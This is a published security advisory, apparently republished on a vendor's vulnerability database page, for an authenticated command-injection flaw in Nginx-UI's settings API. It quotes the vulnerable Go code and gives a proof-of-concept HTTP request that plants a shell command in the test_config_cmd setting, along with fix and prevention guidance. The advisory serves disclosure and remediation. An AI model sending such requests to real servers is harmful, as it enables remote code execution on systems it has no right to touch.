GHSA-pxmr-q2x3-9x9m CVE-2024-22197 GO-2024-2464
Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)
- Severity
- 7.7 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 1.54%
- Chance of exploitation in the next 30 days. Higher than 74.86% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
- Fix
1.9.10-0.20231219184941-827e76c46e63- Upgrade github.com/0xJacky/Nginx-UI to this version or later
Description
Summary
The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
...
Nginx settings.Nginx `json:"nginx"`
...
}
...
settings.NginxSettings = json.Nginx
...
err := settings.Save()
...
}
The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:
func TestConf() (out string) {
if settings.NginxSettings.TestConfigCmd != "" {
out = execShell(settings.NginxSettings.TestConfigCmd)
return
}
out = execCommand("nginx", "-t")
return
}
The execShell function is defined as follows:
func execShell(cmd string) (out string) {
bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
out = string(bytes)
if err != nil {
out += " " + err.Error()
}
return
}
Where the cmd argument is user-controlled and is passed to /bin/sh -c.
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
Based on this setup using
uozi/nginx-ui:v2.0.0-beta.7.
- Login as a newly created user.
- Send the following request to modify the settings with
"test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
- Add a new site in
Home > Manage Sites > Add Sitewith random data. The previously-modifiedtest_config_cmdsetting will be used when the application tries to test the nginx configuration. - Verify that
/tmp/pwnedexists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root 0 Dec 14 21:10 pwned
Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20231219184941-827e76c46e63 |
1.9.10-0.20231219184941-827e76c46e63 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/0xJacky/Nginx-UI Go → 1.9.10-0.20231219184941-827e76c46e63
- go
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20231219184941-827e76c46e63 && go mod tidy
Severity breakdown
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Weakness
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
How to prevent it
- Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
- Implementation: If possible, ensure that all external commands called from the program are statically created.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Operation: Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
- System Configuration: Assign permissions that prevent the user from accessing/opening privileged files.
References
Advisories
Packages
Other links
- github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m
- github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3
- github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/s…
- github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/s…
- github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/route…
- pkg.go.dev/vuln/GO-2024-2464
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6773 Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-vc32-4gwf-77xp Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-wq4w-vwvq-q3x9 Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-jrq7-xrjx-pcfw Nginx UI: Auto backup name allows path traversal outside validated storage path | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-5r62-gj48-897x Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-9jww-cxg5-rj9m Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-76pm-mq2q-9gcr Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-cf23-7qxj-xmhr Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image) | High | Also affects github.com/0xJacky/Nginx-UI |
Credits: @jorgectf
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor